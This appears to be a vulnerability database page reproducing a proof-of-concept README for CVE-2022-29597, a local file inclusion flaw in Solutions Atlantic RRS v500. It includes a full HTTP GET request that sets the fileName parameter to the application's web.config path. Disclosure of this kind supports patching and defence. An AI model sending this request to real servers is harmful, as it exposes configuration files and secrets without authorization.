CVE-2022-29597 PoC — Solutions Atlantic Regulatory Reporting System 路径遍历漏洞

Source

https://github.com/TheGetch/CVE-2022-29597

Associated Vulnerability

Title:Solutions Atlantic Regulatory Reporting System 路径遍历漏洞 (CVE-2022-29597)
Description:Solutions Atlantic Regulatory Reporting System (RRS) v500 is vulnerable to Local File Inclusion (LFI). Any authenticated user has the ability to reference internal system files within requests made to the RRSWeb/maint/ShowDocument/ShowDocument.aspx page. The server will successfully respond with the file contents of the internal system file requested. This ability could allow for adversaries to extract sensitive data and/or files from the underlying file system, gain knowledge about the internal workings of the system, or access source code of the application.

Description

The RRS v500 application is vulnerable to a Local File Inclusion (LFI) vulnerability.

Readme

# CVE-2022-29597: Local File Inclusion in RSS v500

The [RRS](https://solutions-atlantic.com/regulatory-reporting-system/) v500 application by Solutions Atlantic is vulnerable to a Local File Inclusion (LFI) vulnerability. Any authenticated user has the ability to reference internal system files within requests made to the `/RRSWeb/maint/ShowDocument/ShowDocument.aspx` page. The server will successfully respond with the file contents of the internal system file requested. This ability could allow for adversaries to extract sensitive data and/or files from the underlying file system, gain knowledge about the internal workings of the system, or access source code of the application.

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29597

NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29597

## Proof of Concept (POC):

### Show Document Functionality:

**Affected URL:** 

- `/RRSWeb/maint/ShowDocument/ShowDocument.aspx`

While opening or downloading a PDF from the RRS site, a request is made to the affected URL that includes a `fileName` parameter. This parameter could be modified to include an internal system path, such as `web.config`. The server will then serve the file requested. 

**GET request with internal path to web.config:**

```http
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?fileName=C:\\Program%20Files\\Solutions%20Atlantic\\RRS\\RRSWeb\\web.config HTTP/1.1
Host: <REDACTED>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<REDACTED>/RRSweb/default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=<REDACTED>; ASP.NET_SessionId=<REDACTED>
Connection: Keep-Alive


```

Server Response:

![RRS_LFI_web.config](https://raw.githubusercontent.com/TheGetch/CVE-2022-XXXXX-LFI/main/RRS_LFI_web.config.png)


## Discovery
April 2022
- Eric Getchell - TheGetch

File Snapshot

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